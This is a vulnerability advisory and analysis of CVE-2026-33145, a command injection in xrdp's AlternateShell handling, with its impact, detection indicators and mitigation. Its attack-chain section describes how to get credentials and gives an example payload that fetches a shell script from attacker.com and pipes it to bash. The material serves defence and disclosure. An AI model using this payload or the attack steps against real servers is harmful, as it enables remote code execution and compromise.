CVE-2026-33145: 
xrdp vulnerability analysis and mitigation

CVE-2026-33145 is an OS command injection vulnerability in xrdp, an open-source RDP server, that allows authenticated remote users to execute arbitrary commands on the server. The flaw exists in versions through 0.10.5 due to unsafe handling of the AlternateShell parameter in xrdp-sesman. It was disclosed on April 17, 2026, and fixed in version 0.10.6 released the same day. The vulnerability carries a CVSS v3.1 base score of 6.3 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), specifically in how xrdp-sesman processes the RDP AlternateShell parameter. When AllowAlternateShell is enabled — which is the default behavior when not explicitly configured — xrdp accepts a client-supplied AlternateShell value and passes it directly to /bin/sh -c during session initialization without sanitization. This allows an authenticated attacker to inject arbitrary shell commands that execute prior to normal window manager startup, bypassing expected session initialization flows and restrictions to interactive desktop environments (GitHub Advisory, Red Hat Bugzilla).

Successful exploitation allows an authenticated attacker to execute arbitrary shell commands within the security context of the authenticated user on the RDP server, affecting confidentiality (information disclosure), integrity (unauthorized modification), and availability (potential denial of service). Because execution occurs prior to window manager startup, it can bypass operational controls that assume only interactive desktop sessions are possible. This could serve as a foothold for lateral movement or privilege escalation depending on the user's permissions and the server's role in the environment (GitHub Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Feedly). The vulnerability requires valid credentials to exploit, which limits opportunistic mass exploitation but does not preclude targeted attacks. The EPSS score is approximately 0.093%, reflecting a currently low probability of exploitation. The vulnerability is detectable by Nessus (plugin 307462) and Qualys (QID 692288), and is not listed in the CISA KEV catalog (GitHub Advisory).

1. Reconnaissance: Identify internet-facing or network-accessible xrdp servers running versions 0.10.5 or earlier using tools like Shodan, Censys, or nmap with RDP service detection (port 3389).
2. Obtain credentials: Acquire valid RDP credentials through phishing, credential stuffing, brute force, or other means — exploitation requires authentication.
3. Initiate RDP connection with crafted AlternateShell: Use an RDP client or scripting library (e.g., FreeRDP or a custom RDP client) to initiate a connection and supply a malicious value in the AlternateShell field of the RDP connection request (e.g., AlternateShell = /bin/bash -c 'curl http://attacker.com/shell.sh | bash').
4. Trigger command execution: Upon session initialization, xrdp-sesman passes the unsanitized AlternateShell value to /bin/sh -c, executing the injected command in the security context of the authenticated user before the window manager starts.
5. Achieve objective: The injected command runs on the server, enabling reverse shell establishment, data exfiltration, persistence mechanisms, or further lateral movement (GitHub Advisory, Red Hat Bugzilla).

• Network: Outbound connections from the xrdp server to unexpected external IPs or domains shortly after RDP session establishment; unusual DNS queries originating from the xrdp process.
• Logs: xrdp-sesman logs showing unusual or unexpected AlternateShell parameter values during session initialization; RDP authentication logs followed immediately by non-standard process execution.
• Process: Unexpected child processes spawned by xrdp-sesman (e.g., /bin/sh, bash, curl, wget, python, nc) prior to window manager startup; processes running under authenticated user accounts that are inconsistent with normal desktop session activity.
• File System: New or modified files in user home directories, /tmp, or other writable locations created around the time of RDP session establishment; unexpected cron jobs, systemd units, or SSH authorized_keys modifications.

The primary remediation is to upgrade xrdp to version 0.10.6 or later, which addresses this vulnerability along with several other CVEs fixed in the same release (xrdp v0.10.6 Release). If immediate patching is not possible, explicitly set AllowAlternateShell=false in the xrdp-sesman configuration to prevent acceptance of client-supplied AlternateShell values. Additionally, restrict RDP access to trusted networks and authenticated users only using firewall rules or VPN, and monitor session initialization logs for suspicious AlternateShell parameter values (GitHub Advisory, Red Hat Bugzilla).

The vulnerability was credited to researchers @smittix, @exploitintel, and @hessandrew in the xrdp v0.10.6 release notes (xrdp v0.10.6 Release). CovertSwarm published a blog post specifically covering CVE-2026-33145 and authenticated command execution in xrdp, indicating researcher interest in the practical exploitation of this issue. Fedora and openSUSE issued security advisories and package updates addressing the vulnerability, and German Linux security outlet Pro-Linux.de covered the xrdp security fixes. Overall community reaction has been measured, consistent with the Medium severity rating and the authentication requirement.